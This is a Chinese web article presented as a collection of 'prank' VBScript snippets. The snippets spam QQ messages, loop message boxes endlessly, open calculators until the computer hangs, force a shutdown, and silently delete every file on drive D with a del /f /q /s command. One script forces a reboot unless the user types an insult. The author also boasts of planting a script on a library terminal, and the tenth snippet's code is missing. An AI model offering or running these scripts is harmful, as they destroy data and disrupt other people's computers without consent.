01

【代碼一】

你打開好友的聊天對話框,然后記下在你QQ里好友的昵稱，把下面代碼里的xx替換一下，就可以自定義發(fā)送QQ信息到好友的次數(shù)(代碼里的數(shù)字10改一下即可)。

代碼如下：

On Error Resume Next

Dim wsh,ye

set wsh=createobject("wscript.shell")

for i=1 to 10

wscript.sleep 700

wsh.AppActivate("與 xx 聊天中")

wsh.sendKeys "^v"

wsh.sendKeys i

wsh.sendKeys "%s"

next

wscript.quit

02

【代碼二】

我就用這個程序放在學(xué)校圖書館查詢書刊的機(jī)器上，好多人都拿它沒辦法。

do

msgbox "You are foolish!"

loop

03

【代碼三】

打開無數(shù)個計算器，直到死機(jī)。

set wsh=createobject("wscript.shell")

do

wsh.run "calc"

loop

04

【代碼四】

直接關(guān)機(jī)。

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "shutdown -f -s -t 00",0 ,true

05

【代碼五】

刪除D:\所有文件。

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

06

【代碼六】

不斷彈出窗口

while(1)

msgbox "哈哈 你被耍了！"

loop

07

【代碼七】

不斷按下alt+f4(開什么都關(guān)閉)。

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

while(1)

WSHshell.SendKeys "%{F4}"

loop

08

【代碼八】

按500次回車 (以上代碼在運行者的電腦上顯示500個對話框。其中 do until s=500 ，500可以隨意更改)。

dim s

do until s=500

s=s+1

msgbox "哥們，給我按500次回車吧",64

loop

09

【代碼九】

如果把他發(fā)給你的QQ好友 他不懂的話 如果不輸我是豬 電腦就會在你設(shè)定的

時間內(nèi)關(guān)機(jī) 我設(shè)置的是3分鐘 只要輸入就解除了 當(dāng)然如果不輸?shù)脑捯灿薪獬霓k法。代碼如下:

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 180 -c ""說我是豬，不說我是豬就一分鐘關(guān)機(jī)，不信，試下···"" ",0 ,true

dim a

do while(a <> "我是豬")

a = inputbox ("說我是豬,就不關(guān)機(jī)，快撒，說 ""我是豬""　","說不說","",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

msgbox chr(13) + chr(13) + chr(13) + "早說就行了嘛"

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd.exe /c shutdown -a",0 ,true

msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，好乖"

10

【代碼十】

網(wǎng)頁整人效果代碼，想看效果，只要復(fù)制這下面的所有代碼保存在text文件里，修改文件后綴為txt就能看到效果了。

網(wǎng)頁特效|Linkweb.cn/Js|---很惡心的常見整人效果

不許把鼠標(biāo)移到這里

總結(jié)

以上是生活随笔為你收集整理的php整蛊关机代码,整人代码大全的全部內(nèi)容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯，歡迎將生活随笔推薦給好友。